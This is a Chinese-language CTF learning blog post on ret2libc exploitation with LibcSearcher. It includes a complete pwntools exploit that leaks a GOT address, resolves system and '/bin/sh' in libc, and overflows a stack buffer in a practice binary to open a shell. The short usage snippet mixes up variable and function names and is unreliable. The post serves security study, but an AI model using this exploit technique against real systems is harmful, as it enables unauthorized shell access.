pwn学习--LibcSearcher

以上一篇ret2libc绕过地址随机化的代码为例,一般在我们做题的时候没法查看 libc 的版本之类的,连上服务器后就是程序运行起来的情况,那这时候就需要新的知识来解决了

LibcSearcher,可以通过它来找出偏移,此时依旧开启ASLR

LibcSearcher安装:

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

一般使用方法:

    libc = LibcSearcher("gets",gets_real_addr)

    libcbase = gets_real_addr – obj.dump("fgets")
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

下面是exp:

from pwn import *
from LibcSearcher import *
context(arch="i386",os="linux")
p=process("9.exe")
e=ELF("9.exe")
addr_write=e.plt["write"]
addr_gets=e.got["gets"]
addr_vul=e.symbols["vul"]

offset=22

payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1)
gets_real_addr=u32(p.recv(4))

libc=LibcSearcher("gets",gets_real_addr)
libcbase=gets_real_addr-libc.dump("gets")
#print(libcbase)
addr_system=libcbase+libc.dump("system")
addr_binsh=libcbase+libc.dump("str_bin_sh")

payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()

对exp理解:
pwn学习--LibcSearcher_第1张图片
这个是和之前9.py的比较,主要的区别在图中已标出。
我们再看看下面几句的理解:

libc=LibcSearcher(“gets”,gets_real_addr)
通过之前的 payload1 我们已经泄露出了 gets函数的地址了,我们直接使用
libc=LibcSearcher(“gets”,gets_real_addr) 就可以找出 libc 的版本了

libcbase=gets_real_addr-libc.dump(“gets”)
使用 libc.dump(“gets”) 可以计算出 gets 的偏移地址,再用 gets_real_addr 减去偏移地址就得到了 libc 的基址

addr_system=libcbase+libc.dump(“system”)
使用基址加上 system 的偏移,得到 system 的实际地址

addr_binsh=libcbase+libc.dump(“str_bin_sh”)
使用基址加上 /bin/sh 字符串 的偏移,得到/bin/sh 的实际地址

运行

pwn学习--LibcSearcher_第2张图片我在kali里面运行并没有成功,因为三个选项都是ubuntu,所以我又在ubuntu里尝试了一下,

参考文章:

https://www.yuque.com/hxfqg9/hs80y0/zzg02e#WP1Ge
https://www.cnblogs.com/xlcm/p/11905794.html
https://bbs.pediy.com/thread-255277.htm

你可能感兴趣的:(PWN)